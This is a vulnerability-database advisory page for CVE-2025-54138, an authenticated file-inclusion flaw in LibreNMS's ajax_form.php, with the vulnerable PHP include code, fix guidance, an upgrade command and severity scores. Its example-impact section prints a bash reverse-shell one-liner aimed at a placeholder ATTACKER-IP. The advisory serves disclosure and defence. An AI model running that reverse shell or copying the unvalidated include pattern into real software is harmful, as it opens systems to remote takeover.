CVE-2025-54138 — Vulnerability in librenms/librenms — CVE Details
LibreNMS has Authenticated Remote File Inclusion in ajax_form.php that Allows RCE
What Should I Do?
Address in Next Maintenance Window
Low exploitation probability (1.46%). Schedule for your next planned update.
Does your project use an affected librenms/librenms version?
Paste your composer.lock to check it for CVE-2025-54138 and every other known vulnerability, with CISA KEV and EPSS on each finding. Free with no signup for up to 10 packages, or up to 500 per scan with a free account, which also keeps up to 200 packages in saved projects.
Summary
LibreNMS 25.6.0 contains an architectural vulnerability in the ajax_form.php endpoint that permits Remote File Inclusion based on user-controlled POST input.
The application directly uses the type parameter to dynamically include .inc.php files from the trusted path includes/html/forms/, without validation or allowlisting:
if (file_exists('includes/html/forms/' . $_POST['type'] . '.inc.php')) {
include_once 'includes/html/forms/' . $_POST['type'] . '.inc.php';
}
This pattern introduces a latent Remote Code Execution (RCE) vector if an attacker can stage a file in this include path — for example, via symlink, development misconfiguration, or chained vulnerabilities.
This is not an arbitrary file upload bug. But it does provide a powerful execution sink for attackers with write access (direct or indirect) to the include directory.
Conditions for Exploitation
- Attacker must be authenticated
- Attacker must control a file at
includes/html/forms/{type}.inc.php(or symlink)
Example Impact (RCE)
If a PHP file or symlinked shell is staged in the include path, an attacker can achieve full remote code execution under the librenms user context:
<?php system('/bin/bash -c "bash -i >& /dev/tcp/ATTACKER-IP/4444 0>&1"'); ?>
https://github.com/user-attachments/assets/deb9ccd2-101c-4172-89b1-b840b7ed3812
Recommended Fix
- Implement strict allow listing or hardcoded routing instead of dynamically including user-supplied filenames.
- Avoid passing raw POST input into
include_once. - Ensure the inclusion path is immutable and outside attacker control (e.g., avoid variable expansion into trusted paths).
Advisory Timeline
- First published July 21, 2025 (493 days ago).
- Last revised July 23, 2025 — 2 days after initial publication.
Remediation
Upgrade to the fixed version using your package manager.
composer require "librenms/librenms:^25.7.0"
After upgrading, scan your dependencies again to confirm the vulnerability is resolved.
Affected Packages (1)
Affects 1 ecosystem: Packagist (1).
| Package | Fixed In |
|---|---|
| librenms/librenms Packagist · Affected: 1.19, 1.20, 1.20.1, 1.21 (+136 more) | 25.7.0 |
Vulnerability Classification
Common Weakness Enumeration (CWE) identifiers for this vulnerability type.
- CWE-98
CVSS Score Breakdown
What the CVSS (Common Vulnerability Scoring System) 7.5 score means for each attack dimension.
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
References
- https://github.com/librenms/librenms/security/advisories/GHSA-gq96-8w38-hhj2WEB
- https://nvd.nist.gov/vuln/detail/CVE-2025-54138ADVISORY
- https://github.com/librenms/librenms/pull/17990WEB
- https://github.com/librenms/librenms/commit/ec89714d929ef0cf2321957ed9198b0f18396c81WEB
- https://github.com/librenms/librenmsPACKAGE
- https://github.com/librenms/librenms/releases/tag/25.7.0WEB
Frequently Asked Questions
- What is CVE-2025-54138?
- LibreNMS has Authenticated Remote File Inclusion in ajax_form.php that Allows RCE. This vulnerability has been assigned a severity rating of HIGH (CVSS score: 7.5/10).
- How do I check if my project is affected by CVE-2025-54138?
- CVE-2025-54138 affects librenms/librenms. It has a 1.5% probability of exploitation within 30 days (EPSS score). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2025-54138 and 200,000+ other known vulnerabilities.
Severity & Exploitability
Significant impact if exploited, or exploitable with modest effort.
This is an above-median EPSS score — 73.9% of tracked vulnerabilities score at or below it, putting its exploitation likelihood in the upper half of the tracked corpus.
Also Known As
Related CVEs
- CVE-2024-47524HIGH
LibreNMS has Stored Cross-site Scripting vulnerability in "Device Group" Name
- CVE-2024-49754HIGH
LibreNMS has a stored XSS ('Cross-site Scripting') in librenms/includes/html/pages/api-access.inc.php
- CVE-2024-51497HIGH
LibreNMS has a Stored XSS ('Cross-site Scripting') in librenms/includes/html/print-customoid.php
- CVE-2025-23199MEDIUM
LibreNMS Ports Stored Cross-site Scripting vulnerability
- CVE-2025-62411MEDIUM
LibreNMS has a Stored XSS vulnerability in its Alert Transport name field
- CVE-2025-23201MEDIUM
Librenms has a reflected XSS on error alert
- CVE-2026-26987MEDIUM
LibreNMS affected by reflected xss via email field
- CVE-2024-47526LOW
LibreNMS has Stored Cross-site Scripting vulnerability in "Alert Templates" feature